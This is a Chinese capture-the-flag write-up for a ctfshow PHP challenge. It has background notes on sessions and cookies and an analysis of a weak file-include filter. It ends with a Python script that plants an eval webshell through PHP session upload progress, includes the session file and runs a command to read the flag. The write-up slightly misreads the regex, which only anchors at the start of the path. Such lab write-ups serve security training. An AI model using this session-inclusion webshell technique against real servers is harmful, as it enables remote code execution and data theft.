ctfshow元旦水友赛
php
抓包得到
PHPSESSID=d05badeb7e2574e87b96af76d0921775
动态网页中会涉及到session
session常用方法
- resquest.getSession():得到请求游览器(客户端)对应的session。如果没有,那么就创建应该新的session。如果有那么就返回对应的session
- setAttribute(String s, Object o):在session存放属性 getAttribute(String
s):从session中得到s所对应的属性 removeAttribute(String s):从session中删除s对应的属性 - getId():得到session所对应的id invalidate():使session立即无效
setMaxInactiveInterval(int i):设置session最大的有效时间。注意,这个有效时间是两次访问服务器所间隔的最大时间,如果超过最大的有效时间,那么这个session就失效了。
session和cookie的比较
- cookie保存在客户端,session保存在服务端
- cookie作用于他所表示的path中(url中要包含path),范围较小。session代表客户端和服务器的一次会话过程,web页面跳转时也可以共享数据,范围是本次会话,客户端关闭也不会消失。会持续到我们设置的session生命周期结束(默认30min)
- 我们使用session需要cookie的配合。cookie用来携带JSESSIONID
- cookie存放的数据量较小,session可以存储更多的信息。
- cookie由于存放在客服端,相对于session更不安全
- 由于session是存放于服务器的,当有很多客户端访问时,肯定会产生大量的session,这些session会对服务端的性能造成影响。
查看源码
<?php
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}
>
简单分析过后得到
定义了一个名为waf的函数,它接受一个参数$path。
使用str_replace(".","",$path);将路径中的所有点(.)替换为空字符串,这可能是为了去除文件扩展名。
函数使用preg_match来检查清理后的路径是否只包含小写字母(/^[a-z]+/是一个正则表达式,匹配一个或多个连续的小写字母)。
如果waf函数返回true(即路径只包含小写字母),则执行include语句。
include语句拼接了一个file://协议前缀和一个用户通过POST请求提交的文件路径($_POST[1])。
然后,PHP尝试执行这个拼接后的文件路径所指向的文件。
使用以下代码
import requests
url="http://6c53073e-b08b-4a3a-894b-20bf943d8d5f.challenge.ctf.show/"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1': 'localhost/tmp/sess_ctfshow',
'2': 'system("cat /f*");'
}
file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
得到
upload_progress_ctfshow{adf1a140-16e9-4db4-99e9-507a9f0093c7}